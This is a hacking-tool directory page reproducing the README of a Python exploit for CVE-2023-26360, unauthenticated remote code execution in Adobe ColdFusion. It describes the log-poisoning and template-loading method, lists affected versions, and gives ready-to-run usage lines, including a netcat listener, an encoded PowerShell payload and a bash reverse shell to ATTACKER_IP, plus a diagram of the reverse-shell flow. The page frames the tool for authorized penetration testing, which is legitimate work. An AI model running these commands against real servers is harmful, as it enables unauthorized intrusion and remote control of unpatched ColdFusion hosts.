Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Adobe_ColdFusion_RCE_Unauthenticated — This exploit is based on CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) and was built on top of the Metasploit module and the jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit. | Kitploit
Tools/GitHubGitHub/joaoaugustom/adobe_coldfusion_rce_unauthenticated
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubjoaoaugustom/adobe_coldfusion_rce_unauthenticated

Adobe_ColdFusion_RCE_Unauthenticated

This exploit is based on CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) and was built on top of the Metasploit module and the jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit.

View Repository
113 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-26360 — Adobe ColdFusion Unauthenticated RCE

Python implementation of the remote code execution exploit for CVE-2023-26360, based on analysis of the original Metasploit module and the prior work by jakabakos.

Why this exists

The jakabakos PoC attempts to inject <cfexecute> directly into the _variables parameter and read the output from the ColdFusion log in a single step. This approach fails because ColdFusion does not evaluate CFML tags inline in that context, resulting in a 500 error with no code execution.

This implementation replicates the correct two-step mechanism used by the Metasploit module:

  1. Log poisoning — sends a malformed _variables payload ({<cftry>CFML</cftry>) to the vulnerable CFC endpoint. ColdFusion fails to parse it and writes the raw content — including the CFML code — into .
coldfusion-out.log
  • Template execution — uses the classname deserialization vulnerability to load the poisoned log file as a ColdFusion template, causing the server to execute the injected CFML.
  • Command execution is performed via java.lang.Runtime.exec() through createObject, avoiding any dependency on <cfexecute>, which is typically disabled in hardened or production deployments.

    Affected versions

    • Adobe ColdFusion 2021 Update 5 and earlier
    • Adobe ColdFusion 2018 Update 15 and earlier

    Requirements

    root@kitploit:~
    pip install -r requirements.txt
    

    Usage

    Start a listener before running the exploit:

    root@kitploit:~
    nc -lvnp 4444
    

    Windows target:

    root@kitploit:~
    python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"
    

    Linux target:

    root@kitploit:~
    python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
    

    Through a proxy (e.g. Burp Suite):

    root@kitploit:~
    python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080
    

    Options

    FlagDescription
    --hostTarget base URL (e.g. http://192.168.1.10:8500)
    --cmdCommand to execute on the target
    --winSet this flag if the target is a Windows host
    --proxyOptional HTTP proxy URL

    How it works

    root@kitploit:~
    ┌─────────────┐         Step 1: plant CFML          ┌──────────────────┐
    │   Attacker  │ ──── POST /_variables={<cftry>...  ──► iedit.cfc        │
    │             │      CF fails to parse, logs CFML     │                  │
    │             │                                       │ coldfusion-      │
    │             │         Step 2: trigger execution     │ out.log          │
    │             │ ──── POST classname=X..\logs\cf... ──► (loaded as       │
    │             │                                       │  CFML template)  │
    │  Listener   │ ◄─────────────── reverse shell ───────│                  │
    └─────────────┘                                       └──────────────────┘
    

    References

    • Adobe Security Advisory
    • Rapid7 Analysis — AttackerKB
    • Metasploit Module
    • jakabakos PoC

    Disclaimer

    This tool is provided for educational purposes and authorized security assessments only (penetration tests, CTFs, lab environments). Running this exploit against systems without explicit written permission is illegal. The author assumes no liability for any misuse.

    Download Tool